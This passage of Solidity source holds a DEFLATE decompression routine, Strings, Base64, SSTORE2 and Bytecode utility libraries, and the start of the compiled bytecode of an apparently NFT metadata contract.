(ErrorCode.ERR_NOT_TERMINATED, 0); } // Load eight bits val |= uint256(uint8(s.input[s.incnt++])) << s.bitcnt; s.bitcnt += 8; } // Drop need bits and update buffer, always zero to seven bits left s.bitbuf = val >> need; s.bitcnt -= need; // Return need bits, zeroing the bits above that uint256 ret = (val & ((1 << need) - 1)); return (ErrorCode.ERR_NONE, ret); } function _stored(State memory s) private pure returns (ErrorCode) { // Length of stored block uint256 len; // Discard leftover bits from current byte (assumes s.bitcnt < 8) s.bitbuf = 0; s.bitcnt = 0; // Get length and check against its one's complement if (s.incnt + 4 > s.input.length) { // Not enough input return ErrorCode.ERR_NOT_TERMINATED; } len = uint256(uint8(s.input[s.incnt++])); len |= uint256(uint8(s.input[s.incnt++])) << 8; if (uint8(s.input[s.incnt++]) != (~len & 0xFF) || uint8(s.input[s.incnt++]) != ((~len >> 8) & 0xFF)) { // Didn't match complement! return ErrorCode.ERR_STORED_LENGTH_NO_MATCH; } // Copy len bytes from in to out if (s.incnt + len > s.input.length) { // Not enough input return ErrorCode.ERR_NOT_TERMINATED; } if (s.outcnt + len > s.output.length) { // Not enough output space return ErrorCode.ERR_OUTPUT_EXHAUSTED; } while (len != 0) { // Note: Solidity reverts on underflow, so we decrement here len -= 1; s.output[s.outcnt++] = s.input[s.incnt++]; } // Done with a valid stored block return ErrorCode.ERR_NONE; } function _decode(State memory s, Huffman memory h) private pure returns (ErrorCode, uint256) { // Current number of bits in code uint256 len; // Len bits being decoded uint256 code = 0; // First code of length len uint256 first = 0; // Number of codes of length len uint256 count; // Index of first code of length len in symbol table uint256 index = 0; // Error code ErrorCode err; for (len = 1; len <= MAXBITS; len++) { // Get next bit uint256 tempCode; (err, tempCode) = bits(s, 1); if (err != ErrorCode.ERR_NONE) { return (err, 0); } code |= tempCode; count = h.counts[len]; // If length len, return symbol if (code < first + count) { return (ErrorCode.ERR_NONE, h.symbols[index + (code - first)]); } // Else update for next length index += count; first += count; first <<= 1; code <<= 1; } // Ran out of codes return (ErrorCode.ERR_INVALID_LENGTH_OR_DISTANCE_CODE, 0); } function _construct( Huffman memory h, uint256[] memory lengths, uint256 n, uint256 start ) private pure returns (ErrorCode) { // Current symbol when stepping through lengths[] uint256 symbol; // Current length when stepping through h.counts[] uint256 len; // Number of possible codes left of current length uint256 left; // Offsets in symbol table for each length uint256[MAXBITS + 1] memory offs; // Count number of codes of each length for (len = 0; len <= MAXBITS; len++) { h.counts[len] = 0; } for (symbol = 0; symbol < n; symbol++) { // Assumes lengths are within bounds h.counts[lengths[start + symbol]]++; } // No codes! if (h.counts[0] == n) { // Complete, but decode() will fail return (ErrorCode.ERR_NONE); } // Check for an over-subscribed or incomplete set of lengths // One possible code of zero length left = 1; for (len = 1; len <= MAXBITS; len++) { // One more bit, double codes left left <<= 1; if (left < h.counts[len]) { // Over-subscribed--return error return ErrorCode.ERR_CONSTRUCT; } // Deduct count from possible codes left -= h.counts[len]; } // Generate offsets into symbol table for each length for sorting offs[1] = 0; for (len = 1; len < MAXBITS; len++) { offs[len + 1] = offs[len] + h.counts[len]; } // Put symbols in table sorted by length, by symbol order within each length for (symbol = 0; symbol < n; symbol++) { if (lengths[start + symbol] != 0) { h.symbols[offs[lengths[start + symbol]]++] = symbol; } } // Left > 0 means incomplete return left > 0 ? ErrorCode.ERR_CONSTRUCT : ErrorCode.ERR_NONE; } function _codes( State memory s, Huffman memory lencode, Huffman memory distcode ) private pure returns (ErrorCode) { // Decoded symbol uint256 symbol; // Length for copy uint256 len; // Distance for copy uint256 dist; // TODO Solidity doesn't support constant arrays, but these are fixed at compile-time // Size base for length codes 257..285 uint16[29] memory lens = [ 3, 4, 5, 6, 7, 8, 9, 10, 11, 13, 15, 17, 19, 23, 27, 31, 35, 43, 51, 59, 67, 83, 99, 115, 131, 163, 195, 227, 258 ]; // Extra bits for length codes 257..285 uint8[29] memory lext = [0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 2, 2, 2, 2, 3, 3, 3, 3, 4, 4, 4, 4, 5, 5, 5, 5, 0]; // Offset base for distance codes 0..29 uint16[30] memory dists = [ 1, 2, 3, 4, 5, 7, 9, 13, 17, 25, 33, 49, 65, 97, 129, 193, 257, 385, 513, 769, 1025, 1537, 2049, 3073, 4097, 6145, 8193, 12289, 16385, 24577 ]; // Extra bits for distance codes 0..29 uint8[30] memory dext = [0, 0, 0, 0, 1, 1, 2, 2, 3, 3, 4, 4, 5, 5, 6, 6, 7, 7, 8, 8, 9, 9, 10, 10, 11, 11, 12, 12, 13, 13]; // Error code ErrorCode err; // Decode literals and length/distance pairs while (symbol != 256) { (err, symbol) = _decode(s, lencode); if (err != ErrorCode.ERR_NONE) { // Invalid symbol return err; } if (symbol < 256) { // Literal: symbol is the byte // Write out the literal if (s.outcnt == s.output.length) { return ErrorCode.ERR_OUTPUT_EXHAUSTED; } s.output[s.outcnt] = bytes1(uint8(symbol)); s.outcnt++; } else if (symbol > 256) { uint256 tempBits; // Length // Get and compute length symbol -= 257; if (symbol >= 29) { // Invalid fixed code return ErrorCode.ERR_INVALID_LENGTH_OR_DISTANCE_CODE; } (err, tempBits) = bits(s, lext[symbol]); if (err != ErrorCode.ERR_NONE) { return err; } len = lens[symbol] + tempBits; // Get and check distance (err, symbol) = _decode(s, distcode); if (err != ErrorCode.ERR_NONE) { // Invalid symbol return err; } (err, tempBits) = bits(s, dext[symbol]); if (err != ErrorCode.ERR_NONE) { return err; } dist = dists[symbol] + tempBits; if (dist > s.outcnt) { // Distance too far back return ErrorCode.ERR_DISTANCE_TOO_FAR; } // Copy length bytes from distance bytes back if (s.outcnt + len > s.output.length) { return ErrorCode.ERR_OUTPUT_EXHAUSTED; } while (len != 0) { // Note: Solidity reverts on underflow, so we decrement here len -= 1; s.output[s.outcnt] = s.output[s.outcnt - dist]; s.outcnt++; } } else { s.outcnt += len; } } // Done with a valid fixed or dynamic block return ErrorCode.ERR_NONE; } function _build_fixed(State memory s) private pure returns (ErrorCode) { // Build fixed Huffman tables // TODO this is all a compile-time constant uint256 symbol; uint256[] memory lengths = new uint256[](FIXLCODES); // Literal/length table for (symbol = 0; symbol < 144; symbol++) { lengths[symbol] = 8; } for (; symbol < 256; symbol++) { lengths[symbol] = 9; } for (; symbol < 280; symbol++) { lengths[symbol] = 7; } for (; symbol < FIXLCODES; symbol++) { lengths[symbol] = 8; } _construct(s.lencode, lengths, FIXLCODES, 0); // Distance table for (symbol = 0; symbol < MAXDCODES; symbol++) { lengths[symbol] = 5; } _construct(s.distcode, lengths, MAXDCODES, 0); return ErrorCode.ERR_NONE; } function _fixed(State memory s) private pure returns (ErrorCode) { // Decode data until end-of-block code return _codes(s, s.lencode, s.distcode); } function _build_dynamic_lengths(State memory s) private pure returns (ErrorCode, uint256[] memory) { uint256 ncode; // Index of lengths[] uint256 index; // Descriptor code lengths uint256[] memory lengths = new uint256[](MAXCODES); // Error code ErrorCode err; // Permutation of code length codes uint8[19] memory order = [16, 17, 18, 0, 8, 7, 9, 6, 10, 5, 11, 4, 12, 3, 13, 2, 14, 1, 15]; (err, ncode) = bits(s, 4); if (err != ErrorCode.ERR_NONE) { return (err, lengths); } ncode += 4; // Read code length code lengths (really), missing lengths are zero for (index = 0; index < ncode; index++) { (err, lengths[order[index]]) = bits(s, 3); if (err != ErrorCode.ERR_NONE) { return (err, lengths); } } for (; index < 19; index++) { lengths[order[index]] = 0; } return (ErrorCode.ERR_NONE, lengths); } function _build_dynamic(State memory s) private pure returns ( ErrorCode, Huffman memory, Huffman memory ) { // Number of lengths in descriptor uint256 nlen; uint256 ndist; // Index of lengths[] uint256 index; // Error code ErrorCode err; // Descriptor code lengths uint256[] memory lengths = new uint256[](MAXCODES); // Length and distance codes Huffman memory lencode = Huffman(new uint256[](MAXBITS + 1), new uint256[](MAXLCODES)); Huffman memory distcode = Huffman(new uint256[](MAXBITS + 1), new uint256[](MAXDCODES)); uint256 tempBits; // Get number of lengths in each table, check lengths (err, nlen) = bits(s, 5); if (err != ErrorCode.ERR_NONE) { return (err, lencode, distcode); } nlen += 257; (err, ndist) = bits(s, 5); if (err != ErrorCode.ERR_NONE) { return (err, lencode, distcode); } ndist += 1; if (nlen > MAXLCODES || ndist > MAXDCODES) { // Bad counts return (ErrorCode.ERR_TOO_MANY_LENGTH_OR_DISTANCE_CODES, lencode, distcode); } (err, lengths) = _build_dynamic_lengths(s); if (err != ErrorCode.ERR_NONE) { return (err, lencode, distcode); } // Build huffman table for code lengths codes (use lencode temporarily) err = _construct(lencode, lengths, 19, 0); if (err != ErrorCode.ERR_NONE) { // Require complete code set here return (ErrorCode.ERR_CODE_LENGTHS_CODES_INCOMPLETE, lencode, distcode); } // Read length/literal and distance code length tables index = 0; while (index < nlen + ndist) { // Decoded value uint256 symbol; // Last length to repeat uint256 len; (err, symbol) = _decode(s, lencode); if (err != ErrorCode.ERR_NONE) { // Invalid symbol return (err, lencode, distcode); } if (symbol < 16) { // Length in 0..15 lengths[index++] = symbol; } else { // Repeat instruction // Assume repeating zeros len = 0; if (symbol == 16) { // Repeat last length 3..6 times if (index == 0) { // No last length! return (ErrorCode.ERR_REPEAT_NO_FIRST_LENGTH, lencode, distcode); } // Last length len = lengths[index - 1]; (err, tempBits) = bits(s, 2); if (err != ErrorCode.ERR_NONE) { return (err, lencode, distcode); } symbol = 3 + tempBits; } else if (symbol == 17) { // Repeat zero 3..10 times (err, tempBits) = bits(s, 3); if (err != ErrorCode.ERR_NONE) { return (err, lencode, distcode); } symbol = 3 + tempBits; } else { // == 18, repeat zero 11..138 times (err, tempBits) = bits(s, 7); if (err != ErrorCode.ERR_NONE) { return (err, lencode, distcode); } symbol = 11 + tempBits; } if (index + symbol > nlen + ndist) { // Too many lengths! return (ErrorCode.ERR_REPEAT_MORE, lencode, distcode); } while (symbol != 0) { // Note: Solidity reverts on underflow, so we decrement here symbol -= 1; // Repeat last or zero symbol times lengths[index++] = len; } } } // Check for end-of-block code -- there better be one! if (lengths[256] == 0) { return (ErrorCode.ERR_MISSING_END_OF_BLOCK, lencode, distcode); } // Build huffman table for literal/length codes err = _construct(lencode, lengths, nlen, 0); if ( err != ErrorCode.ERR_NONE && (err == ErrorCode.ERR_NOT_TERMINATED || err == ErrorCode.ERR_OUTPUT_EXHAUSTED || nlen != lencode.counts[0] + lencode.counts[1]) ) { // Incomplete code ok only for single length 1 code return (ErrorCode.ERR_INVALID_LITERAL_LENGTH_CODE_LENGTHS, lencode, distcode); } // Build huffman table for distance codes err = _construct(distcode, lengths, ndist, nlen); if ( err != ErrorCode.ERR_NONE && (err == ErrorCode.ERR_NOT_TERMINATED || err == ErrorCode.ERR_OUTPUT_EXHAUSTED || ndist != distcode.counts[0] + distcode.counts[1]) ) { // Incomplete code ok only for single length 1 code return (ErrorCode.ERR_INVALID_DISTANCE_CODE_LENGTHS, lencode, distcode); } return (ErrorCode.ERR_NONE, lencode, distcode); } function _dynamic(State memory s) private pure returns (ErrorCode) { // Length and distance codes Huffman memory lencode; Huffman memory distcode; // Error code ErrorCode err; (err, lencode, distcode) = _build_dynamic(s); if (err != ErrorCode.ERR_NONE) { return err; } // Decode data until end-of-block code return _codes(s, lencode, distcode); } function puff(bytes memory source, uint256 destlen) internal pure returns (ErrorCode, bytes memory) { // Input/output state State memory s = State( new bytes(destlen), 0, source, 0, 0, 0, Huffman(new uint256[](MAXBITS + 1), new uint256[](FIXLCODES)), Huffman(new uint256[](MAXBITS + 1), new uint256[](MAXDCODES)) ); // Temp: last bit uint256 last; // Temp: block type bit uint256 t; // Error code ErrorCode err; // Build fixed Huffman tables err = _build_fixed(s); if (err != ErrorCode.ERR_NONE) { return (err, s.output); } // Process blocks until last block or error while (last == 0) { // One if last block (err, last) = bits(s, 1); if (err != ErrorCode.ERR_NONE) { return (err, s.output); } // Block type 0..3 (err, t) = bits(s, 2); if (err != ErrorCode.ERR_NONE) { return (err, s.output); } err = (t == 0 ? _stored(s) : (t == 1 ? _fixed(s) : (t == 2 ? _dynamic(s) : ErrorCode.ERR_INVALID_BLOCK_TYPE))); // type == 3, invalid if (err != ErrorCode.ERR_NONE) { // Return with error break; } } return (err, s.output); } } library Strings { function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } } // SPDX-License-Identifier: MIT /// @title Base64 /// @notice Provides a function for encoding some bytes in base64 /// @author Brecht Devos <[email protected]> library Base64 { string internal constant TABLE = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; function encode(bytes memory data) internal pure returns (string memory) { if (data.length == 0) return ""; // load the table into memory string memory table = TABLE; // multiply by 4/3 rounded up uint256 encodedLen = 4 * ((data.length + 2) / 3); // add some extra buffer at the end required for the writing string memory result = new string(encodedLen + 32); assembly { // set the actual output length mstore(result, encodedLen) // prepare the lookup table let tablePtr := add(table, 1) // input ptr let dataPtr := data let endPtr := add(dataPtr, mload(data)) // result ptr, jump over length let resultPtr := add(result, 32) // run over the input, 3 bytes at a time for { } lt(dataPtr, endPtr) { } { dataPtr := add(dataPtr, 3) // read 3 bytes let input := mload(dataPtr) // write 4 characters mstore(resultPtr, shl(248, mload(add(tablePtr, and(shr(18, input), 0x3F))))) resultPtr := add(resultPtr, 1) mstore(resultPtr, shl(248, mload(add(tablePtr, and(shr(12, input), 0x3F))))) resultPtr := add(resultPtr, 1) mstore(resultPtr, shl(248, mload(add(tablePtr, and(shr(6, input), 0x3F))))) resultPtr := add(resultPtr, 1) mstore(resultPtr, shl(248, mload(add(tablePtr, and(input, 0x3F))))) resultPtr := add(resultPtr, 1) } // padding with '=' switch mod(mload(data), 3) case 1 { mstore(sub(resultPtr, 2), shl(240, 0x3d3d)) } case 2 { mstore(sub(resultPtr, 1), shl(248, 0x3d)) } } return result; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./utils/Bytecode.sol"; /** @title A key-value storage with auto-generated keys for storing chunks of data with a lower write & read cost. @author Agustin Aguilar <[email protected]> Readme: https://github.com/0xsequence/sstore2#readme */ library SSTORE2 { error WriteError(); /** @notice Stores `_data` and returns `pointer` as key for later retrieval @dev The pointer is a contract address with `_data` as code @param _data to be written @return pointer Pointer to the written `_data` */ function write(bytes memory _data) internal returns (address pointer) { // Append 00 to _data so contract can't be called // Build init code bytes memory code = Bytecode.creationCodeFor( abi.encodePacked( hex'00', _data ) ); // Deploy contract using create assembly { pointer := create(0, add(code, 32), mload(code)) } // Address MUST be non-zero if (pointer == address(0)) revert WriteError(); } /** @notice Reads the contents of the `_pointer` code as data, skips the first byte @dev The function is intended for reading pointers generated by `write` @param _pointer to be read @return data read from `_pointer` contract */ function read(address _pointer) internal view returns (bytes memory) { return Bytecode.codeAt(_pointer, 1, type(uint256).max); } /** @notice Reads the contents of the `_pointer` code as data, skips the first byte @dev The function is intended for reading pointers generated by `write` @param _pointer to be read @param _start number of bytes to skip @return data read from `_pointer` contract */ function read(address _pointer, uint256 _start) internal view returns (bytes memory) { return Bytecode.codeAt(_pointer, _start + 1, type(uint256).max); } /** @notice Reads the contents of the `_pointer` code as data, skips the first byte @dev The function is intended for reading pointers generated by `write` @param _pointer to be read @param _start number of bytes to skip @param _end index before which to end extraction @return data read from `_pointer` contract */ function read(address _pointer, uint256 _start, uint256 _end) internal view returns (bytes memory) { return Bytecode.codeAt(_pointer, _start + 1, _end + 1); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; library Bytecode { error InvalidCodeAtRange(uint256 _size, uint256 _start, uint256 _end); /** @notice Generate a creation code that results on a contract with `_code` as bytecode @param _code The returning value of the resulting `creationCode` @return creationCode (constructor) for new contract */ function creationCodeFor(bytes memory _code) internal pure returns (bytes memory) { /* 0x00 0x63 0x63XXXXXX PUSH4 _code.length size 0x01 0x80 0x80 DUP1 size size 0x02 0x60 0x600e PUSH1 14 14 size size 0x03 0x60 0x6000 PUSH1 00 0 14 size size 0x04 0x39 0x39 CODECOPY size 0x05 0x60 0x6000 PUSH1 00 0 size 0x06 0xf3 0xf3 RETURN <CODE> */ return abi.encodePacked( hex"63", uint32(_code.length), hex"80_60_0E_60_00_39_60_00_F3", _code ); } /** @notice Returns the size of the code on a given address @param _addr Address that may or may not contain code @return size of the code on the given `_addr` */ function codeSize(address _addr) internal view returns (uint256 size) { assembly { size := extcodesize(_addr) } } /** @notice Returns the code of a given address @dev It will fail if `_end < _start` @param _addr Address that may or may not contain code @param _start number of bytes of code to skip on read @param _end index before which to end extraction @return oCode read from `_addr` deployed bytecode Forked from: https://gist.github.com/KardanovIR/fe98661df9338c842b4a30306d507fbd */ function codeAt(address _addr, uint256 _start, uint256 _end) internal view returns (bytes memory oCode) { uint256 csize = codeSize(_addr); if (csize == 0) return bytes(""); if (_start > csize) return bytes(""); if (_end < _start) revert InvalidCodeAtRange(csize, _start, _end); unchecked { uint256 reqSize = _end - _start; uint256 maxSize = csize - _start; uint256 size = maxSize < reqSize ? maxSize : reqSize; assembly { // allocate output byte array - this could also be done without assembly // by using o_code = new bytes(size) oCode := mload(0x40) // new "memory end" including padding mstore(0x40, add(oCode, and(add(add(size, 0x20), 0x1f), not(0x1f)))) // store length in memory mstore(oCode, size) // actually retrieve the code, this needs assembly extcodecopy(_addr, add(oCode, 0x20), _start, size) } } } }
0x608060405234801561001057600080fd5b506004361061018d5760003560e01c8063791a1631116100e3578063a6ae66bf1161008c578063c7d4abea11610066578063c7d4abea14610365578063ce530a9a14610378578063e41838971461039557600080fd5b8063a6ae66bf1461032c578063bcdfb0b91461033f578063c023c0eb1461035257600080fd5b8063955bfb53116100bd578063955bfb53146102f35780639ad9a4cb146103065780639ddbb3cf1461031957600080fd5b8063791a1631146102ba578063891d03a5146102cd578063906c91df146102e057600080fd5b806338c7bcf1116101455780635af325bc1161011f5780635af325bc1461027457806363c113cf1461029f57806368bd580e146102b257600080fd5b806338c7bcf11461021f5780635347bcbc146102415780635623bf8b1461025457600080fd5b80631e38323d116101765780631e38323d146101d95780631ed8ef10146101ec57806331862ada1461020c57600080fd5b80631771d100146101925780631e36d5b4146101a7575b600080fd5b6101a56101a0366004614567565b6103a8565b005b6101ba6101b53660046145be565b610482565b6040805160ff9384168152929091166020830152015b60405180910390f35b6101a56101e73660046147bf565b6104bd565b6101ff6101fa3660046144d7565b610627565b6040516101d09190614eae565b6101ff61021a3660046145e0565b6108d7565b61023261022d36600461478c565b6108ee565b6040516101d093929190614e43565b61023261024f366004614693565b6109bf565b6102676102623660046144d7565b610a02565b6040516101d09190614e79565b600954610287906001600160a01b031681565b6040516001600160a01b0390911681526020016101d0565b6102676102ad366004614693565b610cd0565b6101a5610daa565b6101ff6102c83660046144d7565b610e22565b6101ff6102db3660046146ac565b611162565b6101a56102ee3660046146f3565b6112cc565b6101a56103013660046147bf565b6114bc565b6101ff610314366004614693565b61161f565b6101ba6103273660046145be565b61165d565b6101a561033a3660046143f3565b611679565b6101ff61034d36600461478c565b6117e9565b6101ff610360366004614693565b61185c565b6101ff6103733660046146d8565b611a07565b6006546103859060ff1681565b60405190151581526020016101d0565b6101a56103a3366004614273565b611aa5565b60065460ff161580156103c557506008546001600160a01b031633145b6104165760405162461bcd60e51b815260206004820152601860248201527f4e6f7420617574686f72697a6564206f72206c6f636b6564000000000000000060448201526064015b60405180910390fd5b60005b82518160ff16101561047d578160016000858460ff168151811061043f5761043f6150fb565b60209081029190910181015160ff168252810191909152604001600020805460ff19169115159190911790558061047581615085565b915050610419565b505050565b6003602052816000526040600020818154811061049e57600080fd5b60009182526020909120015460ff808216935061010090910416905082565b60065460ff161580156104da57506008546001600160a01b031633145b6105265760405162461bcd60e51b815260206004820152601860248201527f4e6f7420617574686f72697a6564206f72206c6f636b65640000000000000000604482015260640161040d565b6040517fff0000000000000000000000000000000000000000000000000000000000000060f885811b8216602084015284901b16602182015260009060220160408051601f1981840301815291815281516020928301206000818152600390935290822090925061059691613e29565b60005b82518160ff1610156106205760008281526003602052604090208351849060ff84169081106105ca576105ca6150fb565b6020908102919091018101518254600181018455600093845292829020815193018054919092015160ff9081166101000261ffff199092169316929092179190911790558061061881615085565b915050610599565b5050505050565b60408051600b808252610180820190925260609160009190816020015b606081526020019060019003908161064457905050905060005b600a8160ff1610156108395760ff80821660009081526001602052604090205416610827576000848260ff16600a811061069a5761069a6150fb565b6020908102919091015160ff808516600090815260048452604080822092841682529190935282206001018054919350906106d490615035565b80601f016020809104026020016040519081016040528092919081815260200182805461070090615035565b801561074d5780601f106107225761010080835404028352916020019161074d565b820191906000526020600020905b81548152906001019060200180831161073057829003601f168201915b505050505090508260ff1660001461079a576040518060400160405280601081526020017f2c7b2274726169745f74797065223a22000000000000000000000000000000008152506107d1565b6040518060400160405280601081526020017f5b7b2274726169745f74797065223a22000000000000000000000000000000008152505b60ff84166000908152602081815260409182902091516107f593929185910161499f565b604051602081830303815290604052848460ff1681518110610819576108196150fb565b602002602001018190525050505b8061083181615085565b91505061065e565b506040518060600160405280602e8152602001615128602e913981600a81518110610866576108666150fb565b6020026020010181905250606060005b600b8110156108cf5781838281518110610892576108926150fb565b60200260200101516040516020016108ab929190614970565b604051602081830303815290604052915080806108c79061506a565b915050610876565b509392505050565b606060006108e58484611b97565b95945050505050565b6004602090815260009283526040808420909152908252902080546001820180546001600160a01b03831693600160a01b9093046bffffffffffffffffffffffff1692919061093c90615035565b80601f016020809104026020016040519081016040528092919081815260200182805461096890615035565b80156109b55780601f1061098a576101008083540402835291602001916109b5565b820191906000526020600020905b81548152906001019060200180831161099857829003601f168201915b5050505050905083565b600560205260009081526040902080546001820180546001600160a01b03831693600160a01b9093046bffffffffffffffffffffffff1692919061093c90615035565b610a0a613e4a565b60005b600a8160ff161015610bee5760006002600083868560ff16600a8110610a3557610a356150fb565b6020020151604051602001610a8192919060f892831b7fff0000000000000000000000000000000000000000000000000000000000000090811682529190921b16600182015260020190565b604051602081830303815290604052805190602001208152602001908152602001600020805480602002602001604051908101604052809291908181526020016000905b82821015610b06576000848152602090819020604080518082019091529084015460ff80821683526101009091041681830152825260019092019101610ac5565b50505050905060005b81518160ff161015610bd957818160ff1681518110610b3057610b306150fb565b60200260200101516020015160ff1685838360ff1681518110610b5557610b556150fb565b60200260200101516000015160ff16600a8110610b7457610b746150fb565b602002015160ff161415610bc757600085838360ff1681518110610b9a57610b9a6150fb565b60200260200101516000015160ff16600a8110610bb957610bb96150fb565b60ff90921660209290920201525b80610bd181615085565b915050610b0f565b50508080610be690615085565b915050610a0d565b5060c082015160ff1660061415610c175760008260075b60ff9092166020929092020152610c87565b816008602002015160ff1660011415610c34576000826007610c05565b816008602002015160ff1660071415610c51576000826007610c05565b61010082015160ff1660081415610c6c576000826007610c05565b816008602002015160ff1660091415610c8757600060e08301525b816008602002015160ff1660031480610caa5750816008602002015160ff166004145b80610cbf5750816008602002015160ff166006145b15610ccc57600160208301525b5090565b610cd8613e4a565b610ce0613e4a565b60005b600a8160ff161015610d8b576103e88482604051602001610d3392919091825260f81b7fff0000000000000000000000000000000000000000000000000000000000000016602082015260210190565b6040516020818303038152906040528051906020012060001c610d5691906150a5565b828260ff16600a8110610d6b57610d6b6150fb565b61ffff909216602092909202015280610d8381615085565b915050610ce3565b506000610d9782611e4b565b9050610da281610a02565b949350505050565b60065460ff16158015610dc757506008546001600160a01b031633145b610e135760405162461bcd60e51b815260206004820152601860248201527f4e6f7420617574686f72697a6564206f72206c6f636b65640000000000000000604482015260640161040d565b6006805460ff19166001179055565b6060610e2c613e69565b60005b600a8160ff1610156110d3576000848260ff16600a8110610e5257610e526150fb565b60200201519050600060ff90506000600360008585604051602001610eae92919060f892831b7fff0000000000000000000000000000000000000000000000000000000000000090811682529190921b16600182015260020190565b604051602081830303815290604052805190602001208152602001908152602001600020805480602002602001604051908101604052809291908181526020016000905b82821015610f33576000848152602090819020604080518082019091529084015460ff80821683526101009091041681830152825260019092019101610ef2565b50505050905060005b81518160ff161015610fe557818160ff1681518110610f5d57610f5d6150fb565b60200260200101516020015160ff1688838360ff1681518110610f8257610f826150fb565b60200260200101516000015160ff16600a8110610fa157610fa16150fb565b602002015160ff161415610fd357818160ff1681518110610fc457610fc46150fb565b60200260200101516000015192505b80610fdd81615085565b915050610f3c565b5060ff8481166000908152600460209081526040808320938716835292905290812054600160a01b90046bffffffffffffffffffffffff166110365760405180602001604052806000815250611040565b61104085856117e9565b905060ff838116146110a057858360ff16600a8110611061576110616150fb565b6020020151868660ff16600a811061107b5761107b6150fb565b6020020152808660ff8516600a8110611096576110966150fb565b60200201526110bc565b80868660ff16600a81106110b6576110b66150fb565b60200201525b5050505080806110cb90615085565b915050610e2f565b50606060005b600a8160ff1610156111355781838260ff16600a81106110fb576110fb6150fb565b6020020151604051602001611111929190614970565b6040516020818303038152906040529150808061112d90615085565b9150506110d9565b5060078160405160200161114a929190614ab5565b60405160208183030381529060405292505050919050565b6060600061116f85611fae565b60405160200161117f9190614dfe565b60408051601f19818403018152610120830190915260fe8083529092506000919061528e6020830139905060608085600114156111d1576111bf8861185c565b90506111ca8861161f565b915061125f565b8661123a576111e0604561185c565b90506040518060600160405280602a81526020016153cc602a913992506040518060400160405280600281526020017f5b5d000000000000000000000000000000000000000000000000000000000000815250915061125f565b600061124588610cd0565b905061125081610e22565b915061125b81610627565b9250505b6000611297858585611270866120e0565b6040516020016112839493929190614c44565b6040516020818303038152906040526120e0565b90506000816040516020016112ac9190614db9565b60408051601f1981840301815291905296505050505050505b9392505050565b60065460ff161580156112e957506008546001600160a01b031633145b6113355760405162461bcd60e51b815260206004820152601860248201527f4e6f7420617574686f72697a6564206f72206c6f636b65640000000000000000604482015260640161040d565b81518351148015611347575080518251145b6113935760405162461bcd60e51b815260206004820152600f60248201527f4c656e677468204d69736d617463680000000000000000000000000000000000604482015260640161040d565b60005b83518160ff161015610620576113c7828260ff16815181106113ba576113ba6150fb565b602002602001015161229d565b848260ff16815181106113dc576113dc6150fb565b60209081029190910101516001600160a01b0390911690528351849060ff831690811061140b5761140b6150fb565b6020026020010151600460008760ff1660ff1681526020019081526020016000206000858460ff1681518110611443576114436150fb565b60209081029190910181015160ff1682528181019290925260409081016000208351848401516bffffffffffffffffffffffff16600160a01b026001600160a01b0390911617815590830151805191926114a592600185019290910190613e91565b5090505080806114b490615085565b915050611396565b60065460ff161580156114d957506008546001600160a01b031633145b6115255760405162461bcd60e51b815260206004820152601860248201527f4e6f7420617574686f72697a6564206f72206c6f636b65640000000000000000604482015260640161040d565b6040517fff0000000000000000000000000000000000000000000000000000000000000060f885811b8216602084015284901b16602182015260009060220160408051601f1981840301815291815281516020928301206000818152600290935290822090925061159591613e29565b60005b82518160ff1610156106205760008281526002602052604090208351849060ff84169081106115c9576115c96150fb565b6020908102919091018101518254600181018455600093845292829020815193018054919092015160ff9081166101000261ffff199092169316929092179190911790558061161781615085565b915050611598565b6060600560008381526020019081526020016000206001016040516020016116479190614b99565b6040516020818303038152906040529050919050565b6002602052816000526040600020818154811061049e57600080fd5b60065460ff1615801561169657506008546001600160a01b031633145b6116e25760405162461bcd60e51b815260206004820152601860248201527f4e6f7420617574686f72697a6564206f72206c6f636b65640000000000000000604482015260640161040d565b81518351146116f057600080fd5b60005b82518110156117e3576117118282815181106113ba576113ba6150fb565b838281518110611723576117236150fb565b60209081029190910101516001600160a01b039091169052825183908290811061174f5761174f6150fb565b60200260200101516005600086848151811061176d5761176d6150fb565b60209081029190910181015182528181019290925260409081016000208351848401516bffffffffffffffffffffffff16600160a01b026001600160a01b0390911617815590830151805191926117cc92600185019290910190613e91565b5090505080806117db9061506a565b9150506116f3565b50505050565b60ff8083166000908152600460209081526040808320938516835292905220546060906112c590611822906001600160a01b031661231b565b60ff858116600090815260046020908152604080832093881683529290522054600160a01b90046bffffffffffffffffffffffff166108d7565b606060078260681461187d576040518060200160405280600081525061189a565b604051806101600160405280610138815260200161515661013891395b836068146118b75760405180602001604052806000815250611951565b6009546040517f9bac5f7a000000000000000000000000000000000000000000000000000000008152610e3860048201526001600160a01b0390911690639bac5f7a9060240160006040518083038186803b15801561191557600080fd5b505afa158015611929573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526119519190810190614625565b8460681461196e57604051806020016040528060008152506119a5565b6040518060400160405280600881526020017f3c2f673e3c2f673e0000000000000000000000000000000000000000000000008152505b6000868152600560205260409020546119f3906119ca906001600160a01b031661231b565b600088815260056020526040902054600160a01b90046bffffffffffffffffffffffff166108d7565b604051602001611647959493929190614a2c565b600060208190529081526040902080548190611a2290615035565b80601f0160208091040260200160405190810160405280929190818152602001828054611a4e90615035565b8015611a9b5780601f10611a7057610100808354040283529160200191611a9b565b820191906000526020600020905b815481529060010190602001808311611a7e57829003601f168201915b5050505050905081565b60065460ff16158015611ac257506008546001600160a01b031633145b611b0e5760405162461bcd60e51b815260206004820152601860248201527f4e6f7420617574686f72697a6564206f72206c6f636b65640000000000000000604482015260640161040d565b60005b600a8160ff161015611b9357818160ff1681518110611b3257611b326150fb565b60209081029190910181015160ff83166000908152808352604090208151805192939192611b639284920190613e91565b506020828101518051611b7c9260018501920190613f11565b509050508080611b8b90615085565b915050611b11565b5050565b6000606060006040518061010001604052808567ffffffffffffffff811115611bc257611bc2615111565b6040519080825280601f01601f191660200182016040528015611bec576020820181803683370190505b508152602001600081526020018681526020016000815260200160008152602001600081526020016040518060400160405280600f6001611c2d9